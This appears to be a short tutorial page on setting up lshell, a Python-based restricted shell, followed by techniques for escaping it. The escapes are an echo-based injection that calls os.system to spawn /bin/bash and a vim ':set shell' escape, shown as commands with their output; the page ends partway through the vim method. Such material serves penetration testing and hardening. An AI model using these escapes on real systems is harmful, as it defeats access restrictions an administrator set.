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Limited Shell (lshell) is a python based shell that enables to restrict commands for users.


# apt-get install lshell


Add user to lshell

To add a user to lshell, just issue:

# usermod -aG lshell pilou

Force lshell

To force lshell as default shell for a user, issue following command:

# chsh -s /usr/bin/lshell pilou


Bypassing lshell with os.system

lshell can be easily bypassed provided you have access to the "echo" command:

With lshell, the user is restricted to a number of limited commands:

user:~$ id
*** unknown command: id
user:~$ help
cd  clear  echo  exit  help  ll  lpath  ls

But it can be easily bypassed:

user:~$ echo os.system('/bin/bash')
[email protected]:~$ id
uid=1000(user) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(lshell)

Bypassing lshell with vi(m)

If you have access to vi(m), it's also easy to bypass lshell with vi or vim. Start vim:

user:~$ vim

Once inside, issue:

:set shell=/bin/sh